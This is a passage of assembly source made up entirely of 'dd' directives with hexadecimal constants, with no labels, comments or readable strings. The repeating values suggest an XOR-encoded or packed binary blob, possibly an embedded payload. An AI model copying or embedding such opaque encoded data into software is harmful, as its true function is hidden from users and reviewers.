5A2D6688h, 6A2A6836h dd 4D8DE6AFh, 8FDA18Ah, 3204E303h, 0B21A61A4h, 32156632h dd 32156DF8h, 3DF1188h, 0AE31E2CBh, 7DE0CFD0h, 32118A90h dd 0E9C6688h, 16119960h, 32078F7Dh, 34A86611h, 0C7E6794Bh dd 4D7A6095h, 0C282FE0Ah, 66B2242Fh, 0E44DE3B3h, 0B71A61A3h dd 32156663h, 0AB90EDE9h, 3D1286A6h, 32156AC3h, 34976922h dd 3D156611h, 32156607h, 33AC3744h, 33156622h, 52753FDEh dd 53753CD9h, 538FD425h, 321AE02Dh, 38FC6611h, 81156688h dd 1A918546h, 0DE6C0B05h, 6E905D47h, 3D12815Eh, 321541C1h dd 0B9730622h, 0B79E07DAh, 35F56485h, 3219E84Bh, 0B31A6622h dd 32156617h, 3215E687h, 0ED926644h, 3CA5761h, 0CECA57EAh dd 0E475E3B3h, 0B71A61A3h, 3215661Eh, 0C5940071h, 0B974A69Ch dd 0D20EDBC1h, 321D8F25h, 0DC9F6611h, 0FF210B10h, 8C434279h dd 2E444A27h, 1E118890h, 0C5147AD9h, 321B8F1Ah, 18296622h dd 0E88A5BE7h, 0BE7EFDBBh, 8FCE4389h, 0E471E319h, 0B71A61F6h dd 321566C4h, 321574ADh, 0CB0B1C22h, 61F42439h, 4652635Dh dd 0CA00C852h, 0C706D003h, 2FC0E39Ah, 3EFC6168h, 83156644h dd 0B73F0371h, 1A761AC6h, 6509B014h, 0B93162BBh, 0F694421Eh dd 32156615h, 321FED87h, 37FC6644h, 88156622h, 0B67E55BBh dd 0B61A9983h, 32156607h, 3209EA2Dh, 0DB756611h, 32156687h dd 2B16E874h, 74397DAEh, 76E3C56Ah, 0B30B29F2h, 0B3D850A2h dd 23FC077Eh, 0FE156611h, 0F7816E3Fh, 9533B3BEh, 3B92975Ah dd 0EFD18363h, 0CDF80661h, 0CE9F06BBh, 97498A9h, 0D23BEF94h dd 1A90698Fh, 3D156644h, 321567A9h, 0B7989A11h, 35F27FE7h dd 0DF2E8FBDh, 34FC99DDh, 97156611h, 5EF7B5B1h, 0B3730683h dd 5451D0F2h, 9749D9Ah, 0D214EB0Dh, 61906943h, 52156622h dd 3204E41Eh, 3EFC6688h, 8D156644h, 646FF31Bh, 35978712h dd 0CACF76DAh, 82A8E525h, 331281F7h, 3239E31Eh, 3CFC6688h dd 0FA156644h, 96AA8A12h, 71173589h, 0FE74A1C2h, 5590EBAEh dd 0CE153F29h, 0DEC68FE4h, 35FC9977h, 0B7156644h, 0EA1659DDh dd 0B72E5B91h, 35F2B348h, 323DE24Bh, 3D756622h, 32156797h dd 8BA49388h, 0F6905D25h, 3D1281F7h, 32154694h, 32138F88h dd 6BEC6644h, 131A4D61h, 0EE9F3771h, 0BCFC07D3h, 52EA99A8h dd 8C2DADA2h, 526236A6h, 665FD8E9h, 0C4945C05h, 4AD532FCh dd 3281DD42h, 0EC242409h, 3A94691Fh, 3D156622h, 3215649Fh dd 0B1740688h, 0B71A67BAh, 32156685h, 86905DE8h, 3D12815Dh dd 32154DC1h, 0C7ED0622h, 0F690EB70h, 0DB153E0Fh, 3215664Eh dd 59FA3DDCh, 8C80E3B1h, 1CFC7EF4h, 52EA99A8h, 3217ED2Dh dd 0EC9E6611h, 0CB74383Fh, 0E7ADE37Fh, 0B71A61C5h, 32156639h dd 890EB71h, 0DB153ECCh, 3215662Fh, 0D8453768h, 4B758600h dd 0AC17C2DDh, 0D9E28F65h, 547599EEh, 491A8009h, 53FF95C4h dd 0E7A9E319h, 0B71A61F6h, 321566A7h, 3204EC4Bh, 0DB756622h dd 3215661Bh, 0A442CFh, 6417CA52h, 0BF740AB9h, 6A9D1994h dd 8CFC9F88h, 52EA99AFh, 3429719Ah, 8697DC35h, 0B3744035h dd 321562A8h, 1611EF22h, 5A479349h, 39D3FF7h, 4BFFE71Eh dd 670B2168h, 1528E4ACh, 0F9F0E79Ch, 0C561ED55h, 49F8E7FFh dd 0F3628F1Dh, 0DFD46065h, 0D4E0E746h, 1B06533Eh, 0E49C3BFBh dd 0DB4206D2h, 32156657h, 0FA0F8620h, 1506F43Ah, 6AA79BE6h dd 0D5C740C2h, 6B1DF22Fh, 32156EF8h, 8B60C488h, 0F87A3F8h dd 0C41E07A1h, 3208E31Eh, 3D756688h, 321564C4h, 0C7EDED22h dd 0D9118F70h, 0B01A9977h, 32156643h, 3214E22Dh, 62EC6611h dd 42315209h, 0B9502E5Ah, 0F6964216h, 42E3E715h, 0C7502E96h dd 1CD3CDh, 0B11A61C2h, 3215661Dh, 3213E987h, 0BA1A6644h dd 32156622h, 11C8D398h, 3BFC6168h, 0BF156644h, 0BCD5C4A6h dd 90596502h, 32156061h, 0BC5C4644h, 0B2E1F758h, 0B71A8F2Fh dd 321567A7h, 3219E64Bh, 35FC6622h, 40156611h, 1754CC68h dd 8946E483h, 32156623h, 56CBA590h, 0C1143546h, 56CB8DC5h dd 99E35ECh, 321D8F4Ah, 4B136688h, 1E78A693h, 88474612h dd 73A6545Ch, 6D10AC09h, 0C5573225h, 0D89424F0h, 43F24372h dd 0C8748C09h, 0E53CB2D9h, 0B3E26778h, 0B57588D6h, 32078FEBh dd 0CDB76644h, 0F7CBAD50h, 71A8AE3Dh, 489C9BA7h, 45727596h dd 321FE42Dh, 3D756611h, 32156604h, 53DDED44h, 7EA83374h dd 1B69B16Eh, 6F1142E4h, 7ED6E71Fh, 5269B15Dh, 321575F9h dd 0CE525B88h, 2CA52EE6h, 0B1F6A9F5h, 303AC4DCh, 83C7E60Fh dd 0DB4D0724h, 3215662Bh, 6EACB3BEh, 0DA89BC66h, 5A4407FDh dd 32152622h, 6BDE6748h, 0B5C7E7E8h, 533F4331h, 1CDB19h dd 0B01A61F1h, 321566C1h, 3D966924h, 0DA156622h, 32156618h dd 0B6CD119Ch, 0C4B064Bh, 0EEAB3C02h, 53602AAEh, 0B41A9DB3h dd 3215666Fh, 3219E22Dh, 0BA1A6611h, 3215668Eh, 3215EF4Bh dd 3CFC6622h, 94156611h, 4BAB6E19h, 48BCE71Bh, 0FB8241D0h dd 0DB618F85h, 0B9E99977h, 0D20107F9h, 52460625h, 3FFD3C70h dd 0CE156688h, 416D6FE9h, 0FDE6FF0Ch, 3AD62F3Eh, 0B7D207D0h dd 35F575CDh, 32156622h, 32156BF8h, 6AABBF88h, 34225706h dd 67E276C7h, 0DB752711h, 32156685h, 0D848BAE8h, 0C37D6BB1h dd 6D1BB406h, 0EFA0EFC4h, 52128667h, 71CEE744h, 0B41A070Eh dd 32156689h, 1C88EBB8h, 52128E7Eh, 321568F8h, 460CFD88h dd 0A70E6534h, 2ED219D6h, 3D656905h, 3215660Ah, 0E1EA0744h dd 3219E02Dh, 3D756611h, 3215660Bh, 0F4AE0044h, 0F21E07F0h dd 3234E21Eh, 38FC6688h, 6E156644h, 0C1E26898h, 380B4B7Ch dd 32B48FB4h, 3AFC6644h, 4B156622h, 4F5F77EBh, 0BF85402Ch dd 0D79E5CD9h, 0B9730625h, 321F8FC8h, 19B46688h, 7133CF61h dd 92C16AACh, 3DC69970h, 0CDEA0A0Bh, 321F8FBBh, 0A08A6622h dd 0B09CB36Eh, 6BFE9E97h, 37996924h, 89156622h, 3DAF2C11h dd 0C16A909h, 0B9744A9Ch, 0D236BB97h, 32058F16h, 90446688h dd 0DE083F0Fh, 72F15898h, 6727D0FFh, 879C2715h, 35F575CDh dd 321560CBh, 6E681411h, 0BF490F7Ah, 0D489EBD9h, 32058F25h dd 0E49F6611h, 0E7B5BDAAh, 99CE2D90h, 7B2B7FD7h, 0E1EAB4DDh dd 3214EF87h, 0B9EC6644h, 0D2276FA7h, 0B79C9A16h, 35F54555h dd 32078F24h, 9BD06622h, 0F06E9117h, 7A087B18h, 14CFFEB1h dd 663400DCh, 321561F9h, 0DDF42088h, 9F096815h, 0DB74077Dh dd 32156605h, 9778BDBDh, 6258D6A9h, 0C6969A94h, 7E5196ECh dd 0D2E5FF25h, 3DFD58C4h, 3215D8A7h, 339C6911h, 0CB156688h dd 3DD8DBC7h, 3D1561C2h, 3215CC95h, 3A906988h, 3D156644h dd 321564A6h, 60740611h, 0F895683Ah, 0E29D367Fh, 0F09DBED4h dd 0F4FFE649h, 0B2138448h, 0E29D4FB6h, 0B91A9F78h, 32156610h dd 3FFCCC70h, 0D156644h, 57B56D50h, 27A0C148h, 0A89BCFD5h dd 3271292Ch, 1621EF22h, 321D8F49h, 2DDA6688h, 7B7C3F6Bh dd 6C105317h, 37601811h dd 3B6C37BCh, 6389E6Dh, 1F1C1F73h, 476B664Fh, 32156361h dd 7BC6E844h, 0AF7D392Dh, 0BB156676h, 36AA42B4h, 1B156644h dd 0B27539DAh, 99741ECDh, 30478F7Dh, 52756644h, 851A3E70h dd 0D39507EEh, 8C7507CFh, 3347054Ch, 0BF74A9A9h, 0DA54FF8Ch dd 34FC068Fh, 0D0156644h, 0CFFFD9D0h, 0FC9E0047h, 52C699E9h dd 2D22CEFDh, 32058F3Fh, 0A0286611h, 0E45D8E4Dh, 0AC4F9F14h dd 0E83D2CDh, 0BF747838h, 0DA430015h, 22916943h, 0DB156622h dd 3215661Ah, 0D3528EA2h, 0B5E302DAh, 0CDD887D6h, 851A06C2h dd 0D8940042h, 39743B32h, 1E9069E2h, 0DB156611h, 32156687h dd 0F2ACC767h, 0B610A6DDh, 3B9DD4Bh, 0DBC97EF1h, 32156600h dd 32128F42h, 57456611h, 529D0C41h, 0F3AF0015h, 0B1ED0769h dd 0D236BB94h, 0B41A638Fh, 3215664Eh, 321563CBh, 0EF2D9211h dd 0BFFC0937h, 3DEA99BAh, 321567AEh, 3BFC9311h, 0C3156688h dd 699A88CFh, 0CEF939CCh, 6AADFB9Ch, 0CDE96160h, 321B8F97h dd 1B876622h, 0C6CC6895h, 0F643E34Bh, 0CBAA7150h, 0B71AA629h dd 3215660Dh, 321AE787h, 38FC6644h, 0C2156622h, 0DFA9C7CDh dd 7CD277A9h, 32378F15h, 53756622h, 0BB118A92h, 36A842A4h dd 33156644h, 0DBED3BC8h, 32156739h, 32156161h, 0A01DA344h dd 1CF7D3C0h, 0B92FFB9Ch, 39FC616Dh, 67156644h, 0B96B451Bh dd 257426CCh, 0E1EA20CAh, 3225E54Bh, 22FC6622h, 5B156611h dd 0FFBBF8C3h, 279B0CDBh, 547674FAh, 0B914FF2Dh, 0D236BB3Dh dd 0FFC9343h, 0CB15660Fh, 32156FF8h, 0C894F888h, 0CB26C60Dh dd 0BF9EBB09h, 35F545CCh, 32138F7Dh, 5C1D6644h, 68AFB6DAh dd 11C8D398h, 0BF1A6168h, 3215665Dh, 321572CBh, 5CE58111h dd 1CBC5BF8h, 84163B73h, 736C9E5Fh, 9877488Bh, 0DFCE743h dd 1B3EAE70h, 0B4AF34D3h, 0B35B9957h, 567DF7Ah, 68C46721h dd 32138FDEh, 3DFF6611h, 0A7F86E7Eh, 32A833D5h, 1B156622h dd 0A348F3D4h, 32156E61h, 0C408CD44h, 5F4C9D2Ch, 9CD3E73Ah dd 1B408A9Ch, 9CA8338Ah, 1B408A36h, 3D753BFFh, 32157503h dd 32188E44h, 0B9456622h, 0C6783E8Eh, 5084C63Fh, 6CD842A7h dd 53EBED44h, 3EFCC2E2h, 0CD156688h, 7CF7F355h, 2A94AAA4h dd 3DC5B385h, 32156102h, 33976944h, 0CA156622h, 0CDE865F8h dd 33956977h, 0CB156644h, 0ACCBFBAFh, 0CDE061F7h, 4C7D9F5Bh dd 0BB15660Fh, 0CE4D421Eh, 2674E33Ah, 0BBED6168h, 0D204F7C1h dd 54759325h, 52AF75AFh, 84778C09h, 0F19E19E8h, 0B79E0743h dd 35F57270h, 0D79C3374h, 3211A3C5h, 0DF966622h, 1639E115h dd 1629EFD4h, 32156DADh, 716EC22h, 0B9A59DA6h, 35659B7h dd 321CE34Bh, 54756622h, 0B2A8D3AAh, 5A74676Fh, 32157C2Eh dd 0CB3162ABh, 9348EB9Ch, 3D75616Eh, 321564CCh, 53740622h dd 3EFCB7EEh, 62156688h, 0D7B2EF24h, 0AC88A605h, 0B95FDA59h dd 0D215DF0Dh, 0B9759F43h, 0DD9400E3h, 5A74365Bh, 321555D6h dd 0C73162CDh, 3278B94Ah, 1629EF11h, 5390ED71h, 0C7128650h dd 32C2E642h, 53EDD11Eh, 321DF5E0h, 1611EF44h, 321568CBh dd 12D51211h, 887CDE76h, 0F2263FCDh, 0BF5CDC0Bh, 0D4B7DB9Ch dd 0E3EA938Fh, 1E9436B1h, 3410E806h, 8A453C75h, 56136306h dd 3D4DA445h, 321568AAh, 0BF1A0611h, 32156688h, 0D669B9C5h dd 62742601h, 0B3316A9Ah, 3215624Ch, 0BF3E9344h, 35F5669Bh dd 32108F71h, 0CF086688h, 86FF577Bh, 3CFC074Dh, 0EE156611h dd 740F5870h, 9D16420Dh, 0D2B6ABC8h, 0CFA8E5A4h, 32128689h dd 328EE24Bh, 22FC6622h, 66156611h, 5CDFD40Fh, 5FF8366Eh dd 5E7EDD55h, 0B950EF8Fh, 0D207630Dh, 37FD0643h, 6E156622h dd 6D062C96h, 6BE4D187h, 32156FACh, 80BA9D22h, 5DA53933h dd 0B11A4971h, 32156644h, 0B73E077Ch, 35F567ECh, 3DD45D71h dd 32152AC2h, 0B79E9322h, 35F54494h, 3214EA87h, 31EC6644h dd 0D2149BA7h, 3DFC0616h, 0D2156688h, 9605FA26h, 0E098C429h dd 0DF5C570Dh, 0B3739B84h, 538F6492h, 18D4E3ABh, 0DBEC61F1h dd 32156718h, 321EEC4Bh, 0B2756622h, 0B51A51E7h, 32156688h dd 36F9E525h, 3D316AABh, 32157494h, 38FD0688h, 0CE156644h dd 0C7528A5Ah, 4CA6C78Ch, 64743813h, 0BBDAEF13h, 0C29C39DCh dd 0CEED064Fh, 35EF5E9h, 3D6579Ch, 339269FAh, 0CB156611h dd 258AD9DFh, 0B35A1C9Ch, 321567E5h, 19DAE711h, 0B3472CDDh dd 0E852A6ABh, 6DED6F58h, 3214EC1Eh, 60E96688h, 0CDEA99FEh dd 68C54FDDh, 0B9739A71h, 0B79C0757h, 35F57441h, 321DEF2Dh dd 0B81A6611h, 3215668Ah, 0B7140724h, 35F54483h, 3200E41Eh dd 0B21A6688h, 3215664Bh, 32156CCBh, 30C27D11h, 0CF462F17h dd 0F577A101h, 0D2149BA7h, 32156616h, 32128F88h, 78566644h dd 0D8D907E5h, 52550CFDh, 52CAD987h, 0F217D3FAh, 53FFEC36h dd 22150E70h, 52756688h, 52CADC5h, 0B373531Eh, 53AA01D9h dd 6774B503h, 0F79483CDh, 32156626h, 0B5118B92h, 0BB4942A4h dd 54754248h, 0DBAAAA9Ah, 3215661Ah, 0B543605Eh, 41FE3CD0h dd 53807691h, 0B21A667Bh, 3215669Dh, 321576ADh, 0C5482522h dd 0FE234769h, 0F8247959h, 37AD3CEFh, 7B80996Eh, 0DB128616h dd 32156683h, 74F1C24Fh, 0F011C41h, 0CDC263F4h, 0D205BB1Dh dd 0FB950643h, 0BB749336h, 0D237E394h, 0B79C9A8Fh, 35F54C85h dd 321561CBh, 7E333E11h, 7698B21Fh, 6B3152BBh, 3D11A2A1h dd 32157599h, 321B8F88h, 306A6644h, 8B168895h, 0BBDDEE53h dd 340B37D7h, 18D4D3BBh, 547561C2h, 52660BAAh, 9CFDE7EEh dd 6EF6E7D6h, 5302973Fh, 321D8F70h, 6FE16688h, 0EAFBAC76h dd 87EAFBA7h, 35F566A8h, 32156161h, 4CC5FA44h, 48B76038h dd 0B3F0EF44h, 3215624Dh, 36F8E744h, 0B5156622h, 0BB49423Dh dd 0CDEC42B4h, 0D20107F1h, 0B7989F25h, 35F3DA5Dh, 32156161h dd 3B1F2B44h, 2BCFCB1Dh, 33ECB6EEh, 0D2149B05h, 339F6943h dd 0C7156622h, 18D4DB9Ah, 52E96168h, 321569ADh, 205DA222h dd 0C753F8E2h, 739AD2DEh, 0C1D61C14h, 32156CCBh, 0DA360511h dd 1F5E500Eh, 53417738h, 32ACD3A9h, 3BFC61F1h, 82156688h dd 0B2BC51DEh, 90445D86h, 0B21AC2E2h, 32156680h, 5AE6E624h dd 53C5D12Dh, 0FFA0EDE8h, 0DB128693h, 32156648h, 0A1FE5CBBh dd 0EFC7522Dh, 0F2B60B89h, 339D69E9h, 0CE156622h, 0CDE9DD42h dd 0D9949977h, 72693B93h, 0F1949523h, 72693BC6h, 3215654Fh dd 524E6644h, 0FD52289Ah, 0E4AA6979h, 37D5A7E9h, 5A4633BDh dd 3A5477EFh, 0D9942D4Ah, 75BF2049h, 57DBA5C5h, 0EF9CDA30h dd 57D0E74Ah, 33F64426h, 0CA753BACh, 57906543h, 0DB128615h dd 32156686h, 40A8570Ch, 658E4953h, 20F7D7E5h, 0BF9E329Dh dd 35F54C85h, 321572CBh, 2D0C9211h, 185C5201h, 0A9BA7C55h dd 0D478E4F5h, 0C0300C55h, 13C10E30h, 3E9C6644h, 5215E906h dd 0ADBCDD77h, 32156061h, 4B7A5644h, 533AB1DCh, 399F69BCh dd 52156688h, 3DC3A6C4h, 321566AEh, 65470711h, 6956E5E0h dd 0DD943957h, 214E25A5h, 334A9C98h, 3217A17Ah, 68156644h dd 3BFC06D7h, 14156611h, 0B8E85028h, 0D7C9B22Ch, 0EA959E42h dd 0BB7407E7h, 0D20EAB3Dh, 339C6943h, 0CE156622h, 3DEA9E92h dd 3215D40Dh, 32188F44h, 71A86622h, 489C9B3Eh, 4572755Ah dd 0B385E611h, 0EFC8BB1Ch, 0A69069CCh, 52156688h, 54EBED22h dd 322284A3h, 5A403670h dd 61A30C49h, 0F3F8E719h, 0BB46D048h, 349C3BF9h, 321C8FD0h dd 0AC466644h, 2DBD9C04h, 52F47F5Fh, 74FBB936h, 8EFCE701h dd 53625B1Fh, 3211DF40h, 0FC146688h, 0B3316ACFh, 321562E6h dd 321A8F11h, 0D7546688h, 142EE555h, 730E291Fh, 64C18CB5h dd 879C9E3Dh, 35F57D89h, 3DE8EC42h, 32156597h, 0EAAA6988h dd 0E6438F25h, 0B81A99DDh, 32156610h, 32048F70h, 6E986644h dd 65BA640h, 42703785h, 53FA5722h, 0F326D520h, 0B91A65E2h dd 32156610h, 57906570h, 3D128640h, 321574ABh, 32188F11h dd 323B6688h, 6DC13F24h, 2AFA9490h, 0DB633E93h, 32156684h dd 0C652E35Eh, 4A4A7C03h, 0F9BEA768h, 3DF0DB0Bh, 3D1461A4h dd 3216DFA6h, 0C949311h, 98BFCC22h, 32BEE34Bh, 23FC6622h dd 0F4156611h, 6F2C5122h, 3501D221h, 0F2A44426h, 4988D1D6h dd 3211D9DFh, 0CC146644h, 0B1315AA9h, 63E062D5h, 2485131h dd 43FCE723h, 0B30A9321h, 0EB1FD2D8h, 34F4A7D7h, 8E287C5h dd 0DB9430F8h, 64C75E91h, 0B9E92801h, 0F6964248h, 32058F26h dd 23B96611h, 0CACDADACh, 2FC8904Eh, 95310BAAh, 0CA245047h dd 0CA24A1B9h, 32156CADh, 11FF6B22h, 552EC4F0h, 0CA99A167h dd 32483A2Ch, 1609EF22h, 0EA9D8FA2h, 0B97306D3h, 53E6ECBFh dd 32153ECBh, 32068F11h, 6CBE6688h, 0C8543F53h, 27A2292Bh dd 7E91636h, 3A983602h, 3ED57EEh, 3DED57E5h, 3215659Fh dd 53EC0688h, 834465F4h, 3AF4A6B2h, 0B2E09791h, 0C395C741h dd 6BDD6E11h, 36168EE2h, 8A7306C5h, 3EFDB20Bh, 0F4156644h dd 3B3E7391h, 6E2DF2Fh, 6ADDC2A7h, 7D720E25h, 369C6622h dd 3E9A6935h, 3D156688h, 321560C2h, 32986922h, 0B1156611h dd 0D2249F35h, 0B61A6743h, 32156793h, 3214E51Eh, 60ED6688h dd 4017F82Ch, 0D0D43C09h, 25AA3112h, 0B32B5BD9h, 0F97FABABh dd 0B3C2911Ah, 0B56E57F6h, 0EDE22981h, 89A589C5h, 0C824CC5Ah dd 0BEE7E74Eh, 0B3032AEBh, 0EF483AB6h, 68C5EF22h, 0FEA8E5E4h dd 3212815Dh, 324AE24Bh, 3D756622h, 32156499h, 524D3188h dd 3215E34Bh, 26FC6622h, 0F156611h, 82D617D6h, 0D3D6D607h dd 0DCB588E0h, 0C0C8C7h, 537E213Ah, 0F088EB25h, 0DB1280F0h dd 32156618h, 3A17D0F6h, 0CAD8D73Dh, 3DC6998Bh, 32157199h dd 32078F88h, 64B16644h, 81C73C27h, 4739E670h, 8D36EE2Bh dd 377F951h, 0A22AE6DBh, 3253E21Eh, 52E96688h, 321568ADh dd 0D8BCF722h, 0C811F936h, 0D1BAB476h, 0B93578E7h, 884707F3h dd 32156614h, 518BA109h, 0E51426BEh, 518B89A3h, 0C74F26EBh dd 3214D761h, 321B8F44h, 1C276622h, 6C909D9Bh, 0BD966301h dd 896769E2h, 3D459EA1h, 3215CA93h, 83449A88h, 11DCE69Bh dd 823B97A2h, 6BDD66AEh, 0B91ACC70h, 3215665Eh, 32188F42h dd 0A99B6611h, 5503A96Ch, 0CAE2BB84h, 3D5AA331h, 32156696h dd 369E0788h, 0D79C3360h, 3211A3A3h, 0F7946611h, 3215668Ch dd 6E314AC3h, 321574CBh, 74076B11h, 197CBDF9h, 0A5D9BA69h dd 0CA36D576h, 98562FBEh, 32156F61h, 0C2C0D244h, 509A19CEh dd 90FC4B50h, 52156688h, 321572ACh, 3A978E22h, 0D25F84E8h dd 2BB0B75Ah, 0A94EECCAh, 6FB2D7D1h, 74CAE7A2h, 6C1D8C4Ch dd 321575ADh, 94A9A222h, 7076687Fh, 76AD492h, 0F341DB4Fh dd 0A2E4BDAh, 16219970h, 36D1E7D0h, 52156644h, 0B9740642h dd 987407CBh, 32156861h, 12FFDE44h, 306DE4DAh, 8C3C7A3Bh dd 0B20A4520h, 3DFC993Bh, 32155EA7h, 8F969F11h, 35F2B344h dd 25916944h, 0C7156622h, 0E3BEFB9Ch, 0CDEC616Eh, 359A6997h dd 3D156622h, 32156799h, 0DE969E88h, 1619EF40h, 7D9DA7AAh dd 0B01A3F15h, 32156689h, 0F390EDB8h, 0CA128608h, 3204EA1Eh dd 0DA756688h, 32156643h, 833DF8DFh, 6DA7ACDFh, 607407E8h dd 0D501A8FEh, 68C54F3Eh, 0FC109E38h, 3D09819Ch, 321567C4h dd 0B01A9322h, 32156610h, 36AE3574h, 37156644h, 25CD4A8Dh dd 9D38BE38h, 6902BEA4h, 321575ADh, 5C894622h, 0F19FE075h dd 4E00AC4Bh, 2866427Dh, 5CC3C87Bh, 219769BAh, 52156688h dd 321560ADh, 2EA2A622h, 3DEF5235h, 32156601h, 0CEB80744h dd 321575CBh, 1E665011h, 274E4A76h, 0EE2E67A7h, 0A111C020h dd 73B79176h, 2AC3DFD9h, 0DBD40295h, 43E4E726h, 33ECD4FFh dd 3214A179h, 6B156644h, 321572CBh, 7240D111h, 0B00E5CA1h dd 1CA1414Dh, 13285E76h, 0F7967D90h, 0C8FC8F77h, 34FC99BBh dd 1B156622h, 0D7F4FA18h, 0FFA0EF79h, 0DB12865Fh, 32156636h dd 468CCF5Fh, 35335378h, 5E68A432h, 71BF4C6Ah, 13BE2163h dd 32118A09h, 269C6644h, 32058F06h, 85156611h, 77499854h dd 52FEB744h, 926F61B8h, 0B71ABA2Bh, 3215669Ch, 321BE44Bh dd 3BFC6622h, 0B7156611h, 0E3F944E9h, 0D90095FBh, 3295664Ah dd 321C8F11h, 9B956688h, 110D20CFh, 5876476Dh, 23936911h dd 0DB156688h, 32156648h, 88B4D4DEh, 0AEF5D280h, 218A2AA6h dd 213CD3BBh, 547561C2h, 7EAB959Ah, 533B0A6Fh, 8D730624h dd 8C732D55h, 537492A8h, 2A4CF377h, 0DA7561A4h, 3215662Ah dd 1B747CFAh, 0D7FA93C1h, 321563ADh, 6D38F222h, 544E5904h dd 0CD74A003h, 0B14F4270h, 3AFC62E6h, 93156611h, 9288BC21h dd 0C7166643h, 177CEBA9h, 0B61A61F1h, 32156680h, 3217E64Bh dd 53756622h, 61E9DD42h, 33D23FA9h, 895B8915h, 0B34E7F23h dd 0F36DE420h, 303CA7B8h, 7CE657C5h, 60EC6F0Eh, 321562ABh dd 0B9C46788h, 0F6944250h, 32156626h, 321572F8h, 733DA888h dd 96AC2BFFh, 7319F700h, 4F8A7026h, 59B757EFh, 0BF9C9A51h dd 35F5434Bh, 0F4A28FE4h, 0DBEC9977h, 32154A76h, 321575CBh dd 9E0D4F11h, 493AB774h, 0E169C19Eh, 0F87BCCF5h, 0B567E5C3h dd 0B9EC0670h, 0D2300FC9h, 321F8F25h, 9E6611h, 5E560D0h dd 0B212463Bh, 369457DDh, 0A371E435h, 89463FCBh, 7EA464BBh dd 4B7FADA3h, 0D1941CB1h, 22111AC8h, 21AB8DC5h, 0EB3CAA4Dh dd 359C694Ah, 3D156688h, 321567C1h, 0BF9C9F22h, 35F2B3D9h dd 3219E487h, 0B01A6644h, 32156624h, 3215EF1Eh, 0A946688h dd 7E51320Ah, 32F9E32Dh, 54E06611h, 7E111E09h, 0ED90696Ah dd 0DB156622h, 32156617h, 0D29A0BBDh, 38FCE7A5h, 6D156622h dd 472B4B9Ch, 0AC6CA9E5h, 0F19C3508h, 0BBCDEF72h, 3D4E3ED7h dd 3215730Ah, 3D946944h, 0DB156622h, 3215661Bh, 0D0F0AE8Ch dd 5B903A7Ah, 8946840Fh, 32156617h, 2E9EB889h, 36D1E760h dd 0DB156622h, 3215661Ah, 39AB6CB8h, 3C2A7288h, 0B9587FC0h dd 0D20D7B94h, 2A97698Fh, 0DB156644h, 32156631h, 976AC4ECh dd 0A0F7572Fh, 7F8A0000h, 74D839F7h, 52607F6Bh, 32156960h dd 30D5E044h, 0CBC47880h, 91F3A4B8h, 45B45F7Bh, 1D56ACC5h dd 524E080Eh, 0B00DD977h, 32157260h, 2BA66C44h, 0E1D91EFEh dd 0E4BA39B6h, 0D2751735h, 3DD690CCh, 53743C8Bh, 321079F8h dd 96A30688h, 321AE54Bh, 3BFD6622h, 38156611h, 0FC03B2A2h dd 0AB67F325h, 0DE94077Dh, 32156615h, 0B3316201h, 20BB4270h dd 0B34B2EC4h, 0D407C8E7h, 0B91A06C0h, 32156640h, 940BD944h dd 321D8F71h, 0F4FD6688h, 74E83C9Ah, 4BAAD188h, 5377A8ACh dd 0F2AA06E9h, 0DB12D440h, 3215662Eh, 3EE122C9h, 73224452h dd 0E34F9C6Ch, 269E3643h, 36D1E535h, 32156861h, 0BE69D444h dd 81AC942Eh, 0B3E36067h dd 5269646Ah, 3211ED4Bh, 89736622h, 0E39F8CA9h, 52DC57E9h dd 4F8D822h, 321568CBh, 0EEE80E11h, 296949B4h, 0BEA450B8h dd 5346C311h, 32299ABDh, 334DE287h, 0B61A6644h, 32156623h dd 3D385AEDh, 0CDEA810Ch, 1C299ABBh, 32ACE22Dh, 0EE06611h dd 7B9769B8h, 3D156641h, 321576AAh, 321E8F11h, 0A5596688h dd 0B951EB90h, 63E712F1h, 2492698Ah, 0DB156688h, 32156655h dd 6289C4AAh, 0E36E1A1Eh, 0EFB96124h, 539E640Fh, 3D2C5A4Ah dd 0CDEAFD97h, 0B71A9F77h, 32156645h, 3D545ADBh, 32119993h dd 68299388h, 0CD97E04Bh, 0BC1A99DDh, 32156619h, 54FAECE8h dd 53B5F8FBh, 32156ACBh, 5084C611h, 1FD8426Bh, 0ADDF0B3Ah dd 3D4A5AA3h, 0CDEA3D95h, 53299377h, 36D3E44Bh, 0EEC6622h dd 7B93696Bh, 3DEA9977h, 321571C7h, 32078F22h, 0C35F6611h dd 8CE29549h, 0F92722AAh, 559E7E3Ch, 3625F66Eh, 368F8F71h dd 64EC6644h, 3215679Ch, 6CE76711h, 3212EA87h, 3D756644h dd 6C459D95h, 3DE75F70h, 32111D0Ch, 8F409E44h, 59DF7E3Eh dd 46F0E754h, 0F31926A8h, 0D7946EA9h, 22FD3975h, 72148B90h dd 0D8146680h, 3FFC0619h, 30156622h, 7387C78Bh, 7D7BCFF5h dd 0AA00A806h, 3217E52Dh, 0EB9E6611h, 3FC57E9h, 77FC5789h dd 0CA758FA5h, 0A53B92ABh, 23FC07ADh, 9E156644h, 8E022D52h dd 0A2E4AD9Ah, 0F21D15DAh, 5C22CF30h, 0CDEBF9CBh, 0FB9093EEh dd 361FE287h, 3D756644h, 321560A0h, 32906911h, 0DB156688h dd 32156643h, 0CBD37BD9h, 53B90B51h, 3288D305h, 0B81A61A4h dd 32156631h, 321568F8h, 547AD188h, 64A7DDC4h, 0DC3D13A9h dd 60DCB79Fh, 0B3316A03h, 32156280h, 32068F22h, 0BDBF6611h dd 159C866Fh, 0BA6F7970h, 3CBDE5B2h, 297BDB64h, 0E19C35DEh dd 524E3917h, 3210E52Dh, 8AAC6611h, 8033B1DBh, 517D07BAh dd 0BB15665Dh, 99A6420Dh, 0C195AD76h, 36F6A696h, 0F195ADDCh dd 69CDEEBEh, 0CF60C870h, 0FA940024h, 53ED9EE9h, 0C29406EDh dd 3F00BCEEh, 321560ADh, 61694122h, 53966F17h, 2352DDDBh dd 0EB3C6355h, 0B3EC4F79h, 230421D0h, 32058F8Dh, 0CAD26644h dd 54C88FE1h, 319EF297h, 85D6788Ch, 0E3E266EDh, 3214A7A3h dd 3DFC6611h, 2E156688h, 11BDD86Dh, 8AD7753Dh, 4C4459CCh dd 0F5944F21h, 5F472E3h, 8847A90Bh, 17813A8Fh, 0D894B47Fh dd 909FE8FEh, 3D4FB10Bh, 32157290h, 321A8F88h, 5FA86644h dd 0B308CA65h, 0A0BABDEEh, 0F8612DE7h, 6D433154h, 0B33152A9h dd 321562D5h, 3E976988h, 3D156644h, 321560ACh, 32976911h dd 0C1156688h, 85469AE0h, 0CD52A0BCh, 0CD62E612h, 